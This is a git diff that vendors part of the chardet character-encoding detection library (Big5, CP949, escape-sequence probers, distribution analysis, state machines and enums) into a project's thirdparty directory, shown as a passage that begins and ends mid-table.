+4155,5748,5749,2981,5750,5751,5752,5753,3196,4799,4800,2185,1722,5754,3269,3270, # 5232 +1843,3665,1715, 481, 365,1976,1857,5755,5756,1963,2498,4801,5757,2127,3666,3271, # 5248 + 433,1895,2064,2076,5758, 602,2750,5759,5760,5761,5762,5763,3032,1628,3437,5764, # 5264 +3197,4802,4156,2904,4803,2519,5765,2551,2782,5766,5767,5768,3343,4804,2905,5769, # 5280 +4805,5770,2864,4806,4807,1221,2982,4157,2520,5771,5772,5773,1868,1990,5774,5775, # 5296 +5776,1896,5777,5778,4808,1897,4158, 318,5779,2095,4159,4437,5780,5781, 485,5782, # 5312 + 938,3941, 553,2680, 116,5783,3942,3667,5784,3545,2681,2783,3438,3344,2820,5785, # 5328 +3668,2943,4160,1747,2944,2983,5786,5787, 207,5788,4809,5789,4810,2521,5790,3033, # 5344 + 890,3669,3943,5791,1878,3798,3439,5792,2186,2358,3440,1652,5793,5794,5795, 941, # 5360 +2299, 208,3546,4161,2020, 330,4438,3944,2906,2499,3799,4439,4811,5796,5797,5798, # 5376 +) + diff --git a/src/thirdparty/chardet/big5prober.py b/src/thirdparty/chardet/big5prober.py new file mode 100644 index 0000000000..98f9970122 --- /dev/null +++ b/src/thirdparty/chardet/big5prober.py @@ -0,0 +1,47 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import Big5DistributionAnalysis +from .mbcssm import BIG5_SM_MODEL + + +class Big5Prober(MultiByteCharSetProber): + def __init__(self): + super(Big5Prober, self).__init__() + self.coding_sm = CodingStateMachine(BIG5_SM_MODEL) + self.distribution_analyzer = Big5DistributionAnalysis() + self.reset() + + @property + def charset_name(self): + return "Big5" + + @property + def language(self): + return "Chinese" diff --git a/src/thirdparty/chardet/chardistribution.py b/src/thirdparty/chardet/chardistribution.py new file mode 100644 index 0000000000..c0395f4a45 --- /dev/null +++ b/src/thirdparty/chardet/chardistribution.py @@ -0,0 +1,233 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .euctwfreq import (EUCTW_CHAR_TO_FREQ_ORDER, EUCTW_TABLE_SIZE, + EUCTW_TYPICAL_DISTRIBUTION_RATIO) +from .euckrfreq import (EUCKR_CHAR_TO_FREQ_ORDER, EUCKR_TABLE_SIZE, + EUCKR_TYPICAL_DISTRIBUTION_RATIO) +from .gb2312freq import (GB2312_CHAR_TO_FREQ_ORDER, GB2312_TABLE_SIZE, + GB2312_TYPICAL_DISTRIBUTION_RATIO) +from .big5freq import (BIG5_CHAR_TO_FREQ_ORDER, BIG5_TABLE_SIZE, + BIG5_TYPICAL_DISTRIBUTION_RATIO) +from .jisfreq import (JIS_CHAR_TO_FREQ_ORDER, JIS_TABLE_SIZE, + JIS_TYPICAL_DISTRIBUTION_RATIO) + + +class CharDistributionAnalysis(object): + ENOUGH_DATA_THRESHOLD = 1024 + SURE_YES = 0.99 + SURE_NO = 0.01 + MINIMUM_DATA_THRESHOLD = 3 + + def __init__(self): + # Mapping table to get frequency order from char order (get from + # GetOrder()) + self._char_to_freq_order = None + self._table_size = None # Size of above table + # This is a constant value which varies from language to language, + # used in calculating confidence. See + # http://www.mozilla.org/projects/intl/UniversalCharsetDetection.html + # for further detail. + self.typical_distribution_ratio = None + self._done = None + self._total_chars = None + self._freq_chars = None + self.reset() + + def reset(self): + """reset analyser, clear any state""" + # If this flag is set to True, detection is done and conclusion has + # been made + self._done = False + self._total_chars = 0 # Total characters encountered + # The number of characters whose frequency order is less than 512 + self._freq_chars = 0 + + def feed(self, char, char_len): + """feed a character with known length""" + if char_len == 2: + # we only care about 2-bytes character in our distribution analysis + order = self.get_order(char) + else: + order = -1 + if order >= 0: + self._total_chars += 1 + # order is valid + if order < self._table_size: + if 512 > self._char_to_freq_order[order]: + self._freq_chars += 1 + + def get_confidence(self): + """return confidence based on existing data""" + # if we didn't receive any character in our consideration range, + # return negative answer + if self._total_chars <= 0 or self._freq_chars <= self.MINIMUM_DATA_THRESHOLD: + return self.SURE_NO + + if self._total_chars != self._freq_chars: + r = (self._freq_chars / ((self._total_chars - self._freq_chars) + * self.typical_distribution_ratio)) + if r < self.SURE_YES: + return r + + # normalize confidence (we don't want to be 100% sure) + return self.SURE_YES + + def got_enough_data(self): + # It is not necessary to receive all data to draw conclusion. + # For charset detection, certain amount of data is enough + return self._total_chars > self.ENOUGH_DATA_THRESHOLD + + def get_order(self, byte_str): + # We do not handle characters based on the original encoding string, + # but convert this encoding string to a number, here called order. + # This allows multiple encodings of a language to share one frequency + # table. + return -1 + + +class EUCTWDistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(EUCTWDistributionAnalysis, self).__init__() + self._char_to_freq_order = EUCTW_CHAR_TO_FREQ_ORDER + self._table_size = EUCTW_TABLE_SIZE + self.typical_distribution_ratio = EUCTW_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for euc-TW encoding, we are interested + # first byte range: 0xc4 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + first_char = byte_str[0] + if first_char >= 0xC4: + return 94 * (first_char - 0xC4) + byte_str[1] - 0xA1 + else: + return -1 + + +class EUCKRDistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(EUCKRDistributionAnalysis, self).__init__() + self._char_to_freq_order = EUCKR_CHAR_TO_FREQ_ORDER + self._table_size = EUCKR_TABLE_SIZE + self.typical_distribution_ratio = EUCKR_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for euc-KR encoding, we are interested + # first byte range: 0xb0 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + first_char = byte_str[0] + if first_char >= 0xB0: + return 94 * (first_char - 0xB0) + byte_str[1] - 0xA1 + else: + return -1 + + +class GB2312DistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(GB2312DistributionAnalysis, self).__init__() + self._char_to_freq_order = GB2312_CHAR_TO_FREQ_ORDER + self._table_size = GB2312_TABLE_SIZE + self.typical_distribution_ratio = GB2312_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for GB2312 encoding, we are interested + # first byte range: 0xb0 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + first_char, second_char = byte_str[0], byte_str[1] + if (first_char >= 0xB0) and (second_char >= 0xA1): + return 94 * (first_char - 0xB0) + second_char - 0xA1 + else: + return -1 + + +class Big5DistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(Big5DistributionAnalysis, self).__init__() + self._char_to_freq_order = BIG5_CHAR_TO_FREQ_ORDER + self._table_size = BIG5_TABLE_SIZE + self.typical_distribution_ratio = BIG5_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for big5 encoding, we are interested + # first byte range: 0xa4 -- 0xfe + # second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe + # no validation needed here. State machine has done that + first_char, second_char = byte_str[0], byte_str[1] + if first_char >= 0xA4: + if second_char >= 0xA1: + return 157 * (first_char - 0xA4) + second_char - 0xA1 + 63 + else: + return 157 * (first_char - 0xA4) + second_char - 0x40 + else: + return -1 + + +class SJISDistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(SJISDistributionAnalysis, self).__init__() + self._char_to_freq_order = JIS_CHAR_TO_FREQ_ORDER + self._table_size = JIS_TABLE_SIZE + self.typical_distribution_ratio = JIS_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for sjis encoding, we are interested + # first byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe + # second byte range: 0x40 -- 0x7e, 0x81 -- oxfe + # no validation needed here. State machine has done that + first_char, second_char = byte_str[0], byte_str[1] + if (first_char >= 0x81) and (first_char <= 0x9F): + order = 188 * (first_char - 0x81) + elif (first_char >= 0xE0) and (first_char <= 0xEF): + order = 188 * (first_char - 0xE0 + 31) + else: + return -1 + order = order + second_char - 0x40 + if second_char > 0x7F: + order = -1 + return order + + +class EUCJPDistributionAnalysis(CharDistributionAnalysis): + def __init__(self): + super(EUCJPDistributionAnalysis, self).__init__() + self._char_to_freq_order = JIS_CHAR_TO_FREQ_ORDER + self._table_size = JIS_TABLE_SIZE + self.typical_distribution_ratio = JIS_TYPICAL_DISTRIBUTION_RATIO + + def get_order(self, byte_str): + # for euc-JP encoding, we are interested + # first byte range: 0xa0 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + char = byte_str[0] + if char >= 0xA0: + return 94 * (char - 0xA1) + byte_str[1] - 0xa1 + else: + return -1 diff --git a/src/thirdparty/chardet/charsetgroupprober.py b/src/thirdparty/chardet/charsetgroupprober.py new file mode 100644 index 0000000000..5812cef0b5 --- /dev/null +++ b/src/thirdparty/chardet/charsetgroupprober.py @@ -0,0 +1,107 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .enums import ProbingState +from .charsetprober import CharSetProber + + +class CharSetGroupProber(CharSetProber): + def __init__(self, lang_filter=None): + super(CharSetGroupProber, self).__init__(lang_filter=lang_filter) + self._active_num = 0 + self.probers = [] + self._best_guess_prober = None + + def reset(self): + super(CharSetGroupProber, self).reset() + self._active_num = 0 + for prober in self.probers: + if prober: + prober.reset() + prober.active = True + self._active_num += 1 + self._best_guess_prober = None + + @property + def charset_name(self): + if not self._best_guess_prober: + self.get_confidence() + if not self._best_guess_prober: + return None + return self._best_guess_prober.charset_name + + @property + def language(self): + if not self._best_guess_prober: + self.get_confidence() + if not self._best_guess_prober: + return None + return self._best_guess_prober.language + + def feed(self, byte_str): + for prober in self.probers: + if not prober: + continue + if not prober.active: + continue + state = prober.feed(byte_str) + if not state: + continue + if state == ProbingState.FOUND_IT: + self._best_guess_prober = prober + self._state = ProbingState.FOUND_IT + return self.state + elif state == ProbingState.NOT_ME: + prober.active = False + self._active_num -= 1 + if self._active_num <= 0: + self._state = ProbingState.NOT_ME + return self.state + return self.state + + def get_confidence(self): + state = self.state + if state == ProbingState.FOUND_IT: + return 0.99 + elif state == ProbingState.NOT_ME: + return 0.01 + best_conf = 0.0 + self._best_guess_prober = None + for prober in self.probers: + if not prober: + continue + if not prober.active: + self.logger.debug('%s not active', prober.charset_name) + continue + conf = prober.get_confidence() + self.logger.debug('%s %s confidence = %s', prober.charset_name, prober.language, conf) + if best_conf < conf: + best_conf = conf + self._best_guess_prober = prober + if not self._best_guess_prober: + return 0.0 + return best_conf diff --git a/src/thirdparty/chardet/charsetprober.py b/src/thirdparty/chardet/charsetprober.py new file mode 100644 index 0000000000..eac4e59865 --- /dev/null +++ b/src/thirdparty/chardet/charsetprober.py @@ -0,0 +1,145 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +import logging +import re + +from .enums import ProbingState + + +class CharSetProber(object): + + SHORTCUT_THRESHOLD = 0.95 + + def __init__(self, lang_filter=None): + self._state = None + self.lang_filter = lang_filter + self.logger = logging.getLogger(__name__) + + def reset(self): + self._state = ProbingState.DETECTING + + @property + def charset_name(self): + return None + + def feed(self, buf): + pass + + @property + def state(self): + return self._state + + def get_confidence(self): + return 0.0 + + @staticmethod + def filter_high_byte_only(buf): + buf = re.sub(b'([\x00-\x7F])+', b' ', buf) + return buf + + @staticmethod + def filter_international_words(buf): + """ + We define three types of bytes: + alphabet: english alphabets [a-zA-Z] + international: international characters [\x80-\xFF] + marker: everything else [^a-zA-Z\x80-\xFF] + + The input buffer can be thought to contain a series of words delimited + by markers. This function works to filter all words that contain at + least one international character. All contiguous sequences of markers + are replaced by a single space ascii character. + + This filter applies to all scripts which do not use English characters. + """ + filtered = bytearray() + + # This regex expression filters out only words that have at-least one + # international character. The word may include one marker character at + # the end. + words = re.findall(b'[a-zA-Z]*[\x80-\xFF]+[a-zA-Z]*[^a-zA-Z\x80-\xFF]?', + buf) + + for word in words: + filtered.extend(word[:-1]) + + # If the last character in the word is a marker, replace it with a + # space as markers shouldn't affect our analysis (they are used + # similarly across all languages and may thus have similar + # frequencies). + last_char = word[-1:] + if not last_char.isalpha() and last_char < b'\x80': + last_char = b' ' + filtered.extend(last_char) + + return filtered + + @staticmethod + def filter_with_english_letters(buf): + """ + Returns a copy of ``buf`` that retains only the sequences of English + alphabet and high byte characters that are not between <> characters. + Also retains English alphabet and high byte characters immediately + before occurrences of >. + + This filter can be applied to all scripts which contain both English + characters and extended ASCII characters, but is currently only used by + ``Latin1Prober``. + """ + filtered = bytearray() + in_tag = False + prev = 0 + + for curr in range(len(buf)): + # Slice here to get bytes instead of an int with Python 3 + buf_char = buf[curr:curr + 1] + # Check if we're coming out of or entering an HTML tag + if buf_char == b'>': + in_tag = False + elif buf_char == b'<': + in_tag = True + + # If current character is not extended-ASCII and not alphabetic... + if buf_char < b'\x80' and not buf_char.isalpha(): + # ...and we're not in a tag + if curr > prev and not in_tag: + # Keep everything after last non-extended-ASCII, + # non-alphabetic character + filtered.extend(buf[prev:curr]) + # Output a space to delimit stretch we kept + filtered.extend(b' ') + prev = curr + 1 + + # If we're not in a tag... + if not in_tag: + # Keep everything after last non-extended-ASCII, non-alphabetic + # character + filtered.extend(buf[prev:]) + + return filtered diff --git a/src/thirdparty/chardet/codingstatemachine.py b/src/thirdparty/chardet/codingstatemachine.py new file mode 100644 index 0000000000..68fba44f14 --- /dev/null +++ b/src/thirdparty/chardet/codingstatemachine.py @@ -0,0 +1,88 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +import logging + +from .enums import MachineState + + +class CodingStateMachine(object): + """ + A state machine to verify a byte sequence for a particular encoding. For + each byte the detector receives, it will feed that byte to every active + state machine available, one byte at a time. The state machine changes its + state based on its previous state and the byte it receives. There are 3 + states in a state machine that are of interest to an auto-detector: + + START state: This is the state to start with, or a legal byte sequence + (i.e. a valid code point) for character has been identified. + + ME state: This indicates that the state machine identified a byte sequence + that is specific to the charset it is designed for and that + there is no other possible encoding which can contain this byte + sequence. This will to lead to an immediate positive answer for + the detector. + + ERROR state: This indicates the state machine identified an illegal byte + sequence for that encoding. This will lead to an immediate + negative answer for this encoding. Detector will exclude this + encoding from consideration from here on. + """ + def __init__(self, sm): + self._model = sm + self._curr_byte_pos = 0 + self._curr_char_len = 0 + self._curr_state = None + self.logger = logging.getLogger(__name__) + self.reset() + + def reset(self): + self._curr_state = MachineState.START + + def next_state(self, c): + # for each byte we get its class + # if it is first byte, we also get byte length + byte_class = self._model['class_table'][c] + if self._curr_state == MachineState.START: + self._curr_byte_pos = 0 + self._curr_char_len = self._model['char_len_table'][byte_class] + # from byte's class and state_table, we get its next state + curr_state = (self._curr_state * self._model['class_factor'] + + byte_class) + self._curr_state = self._model['state_table'][curr_state] + self._curr_byte_pos += 1 + return self._curr_state + + def get_current_charlen(self): + return self._curr_char_len + + def get_coding_state_machine(self): + return self._model['name'] + + @property + def language(self): + return self._model['language'] diff --git a/src/thirdparty/chardet/compat.py b/src/thirdparty/chardet/compat.py new file mode 100644 index 0000000000..8941572b3e --- /dev/null +++ b/src/thirdparty/chardet/compat.py @@ -0,0 +1,36 @@ +######################## BEGIN LICENSE BLOCK ######################## +# Contributor(s): +# Dan Blanchard +# Ian Cordasco +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +import sys + + +if sys.version_info < (3, 0): + PY2 = True + PY3 = False + string_types = (str, unicode) + text_type = unicode + iteritems = dict.iteritems +else: + PY2 = False + PY3 = True + string_types = (bytes, str) + text_type = str + iteritems = dict.items diff --git a/src/thirdparty/chardet/cp949prober.py b/src/thirdparty/chardet/cp949prober.py new file mode 100644 index 0000000000..efd793abca --- /dev/null +++ b/src/thirdparty/chardet/cp949prober.py @@ -0,0 +1,49 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .chardistribution import EUCKRDistributionAnalysis +from .codingstatemachine import CodingStateMachine +from .mbcharsetprober import MultiByteCharSetProber +from .mbcssm import CP949_SM_MODEL + + +class CP949Prober(MultiByteCharSetProber): + def __init__(self): + super(CP949Prober, self).__init__() + self.coding_sm = CodingStateMachine(CP949_SM_MODEL) + # NOTE: CP949 is a superset of EUC-KR, so the distribution should be + # not different. + self.distribution_analyzer = EUCKRDistributionAnalysis() + self.reset() + + @property + def charset_name(self): + return "CP949" + + @property + def language(self): + return "Korean" diff --git a/src/thirdparty/chardet/enums.py b/src/thirdparty/chardet/enums.py new file mode 100644 index 0000000000..0451207225 --- /dev/null +++ b/src/thirdparty/chardet/enums.py @@ -0,0 +1,76 @@ +""" +All of the Enums that are used throughout the chardet package. + +:author: Dan Blanchard (dan.blanchard@gmail.com) +""" + + +class InputState(object): + """ + This enum represents the different states a universal detector can be in. + """ + PURE_ASCII = 0 + ESC_ASCII = 1 + HIGH_BYTE = 2 + + +class LanguageFilter(object): + """ + This enum represents the different language filters we can apply to a + ``UniversalDetector``. + """ + CHINESE_SIMPLIFIED = 0x01 + CHINESE_TRADITIONAL = 0x02 + JAPANESE = 0x04 + KOREAN = 0x08 + NON_CJK = 0x10 + ALL = 0x1F + CHINESE = CHINESE_SIMPLIFIED | CHINESE_TRADITIONAL + CJK = CHINESE | JAPANESE | KOREAN + + +class ProbingState(object): + """ + This enum represents the different states a prober can be in. + """ + DETECTING = 0 + FOUND_IT = 1 + NOT_ME = 2 + + +class MachineState(object): + """ + This enum represents the different states a state machine can be in. + """ + START = 0 + ERROR = 1 + ITS_ME = 2 + + +class SequenceLikelihood(object): + """ + This enum represents the likelihood of a character following the previous one. + """ + NEGATIVE = 0 + UNLIKELY = 1 + LIKELY = 2 + POSITIVE = 3 + + @classmethod + def get_num_categories(cls): + """:returns: The number of likelihood categories in the enum.""" + return 4 + + +class CharacterCategory(object): + """ + This enum represents the different categories language models for + ``SingleByteCharsetProber`` put characters into. + + Anything less than CONTROL is considered a letter. + """ + UNDEFINED = 255 + LINE_BREAK = 254 + SYMBOL = 253 + DIGIT = 252 + CONTROL = 251 diff --git a/src/thirdparty/chardet/escprober.py b/src/thirdparty/chardet/escprober.py new file mode 100644 index 0000000000..c70493f2b1 --- /dev/null +++ b/src/thirdparty/chardet/escprober.py @@ -0,0 +1,101 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .codingstatemachine import CodingStateMachine +from .enums import LanguageFilter, ProbingState, MachineState +from .escsm import (HZ_SM_MODEL, ISO2022CN_SM_MODEL, ISO2022JP_SM_MODEL, + ISO2022KR_SM_MODEL) + + +class EscCharSetProber(CharSetProber): + """ + This CharSetProber uses a "code scheme" approach for detecting encodings, + whereby easily recognizable escape or shift sequences are relied on to + identify these encodings. + """ + + def __init__(self, lang_filter=None): + super(EscCharSetProber, self).__init__(lang_filter=lang_filter) + self.coding_sm = [] + if self.lang_filter & LanguageFilter.CHINESE_SIMPLIFIED: + self.coding_sm.append(CodingStateMachine(HZ_SM_MODEL)) + self.coding_sm.append(CodingStateMachine(ISO2022CN_SM_MODEL)) + if self.lang_filter & LanguageFilter.JAPANESE: + self.coding_sm.append(CodingStateMachine(ISO2022JP_SM_MODEL)) + if self.lang_filter & LanguageFilter.KOREAN: + self.coding_sm.append(CodingStateMachine(ISO2022KR_SM_MODEL)) + self.active_sm_count = None + self._detected_charset = None + self._detected_language = None + self._state = None + self.reset() + + def reset(self): + super(EscCharSetProber, self).reset() + for coding_sm in self.coding_sm: + if not coding_sm: + continue + coding_sm.active = True + coding_sm.reset() + self.active_sm_count = len(self.coding_sm) + self._detected_charset = None + self._detected_language = None + + @property + def charset_name(self): + return self._detected_charset + + @property + def language(self): + return self._detected_language + + def get_confidence(self): + if self._detected_charset: + return 0.99 + else: + return 0.00 + + def feed(self, byte_str): + for c in byte_str: + for coding_sm in self.coding_sm: + if not coding_sm or not coding_sm.active: + continue + coding_state = coding_sm.next_state(c) + if coding_state == MachineState.ERROR: + coding_sm.active = False + self.active_sm_count -= 1 + if self.active_sm_count <= 0: + self._state = ProbingState.NOT_ME + return self.state + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + self._detected_charset = coding_sm.get_coding_state_machine() + self._detected_language = coding_sm.language + return self.state + + return self.state diff --git a/src/thirdparty/chardet/escsm.py b/src/thirdparty/chardet/escsm.py new file mode 100644 index 0000000000..0069523a04 --- /dev/null +++ b/src/thirdparty/chardet/escsm.py @@ -0,0 +1,246 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .enums import MachineState + +HZ_CLS = ( +1,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,0,0, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,0,0,0,0, # 20 - 27 +0,0,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +0,0,0,0,0,0,0,0, # 40 - 47 +0,0,0,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,4,0,5,2,0, # 78 - 7f +1,1,1,1,1,1,1,1, # 80 - 87 +1,1,1,1,1,1,1,1, # 88 - 8f +1,1,1,1,1,1,1,1, # 90 - 97 +1,1,1,1,1,1,1,1, # 98 - 9f +1,1,1,1,1,1,1,1, # a0 - a7 +1,1,1,1,1,1,1,1, # a8 - af +1,1,1,1,1,1,1,1, # b0 - b7 +1,1,1,1,1,1,1,1, # b8 - bf +1,1,1,1,1,1,1,1, # c0 - c7 +1,1,1,1,1,1,1,1, # c8 - cf +1,1,1,1,1,1,1,1, # d0 - d7 +1,1,1,1,1,1,1,1, # d8 - df +1,1,1,1,1,1,1,1, # e0 - e7 +1,1,1,1,1,1,1,1, # e8 - ef +1,1,1,1,1,1,1,1, # f0 - f7 +1,1,1,1,1,1,1,1, # f8 - ff +) + +HZ_ST = ( +MachineState.START,MachineState.ERROR, 3,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,# 00-07 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 08-0f +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START, 4,MachineState.ERROR,# 10-17 + 5,MachineState.ERROR, 6,MachineState.ERROR, 5, 5, 4,MachineState.ERROR,# 18-1f + 4,MachineState.ERROR, 4, 4, 4,MachineState.ERROR, 4,MachineState.ERROR,# 20-27 + 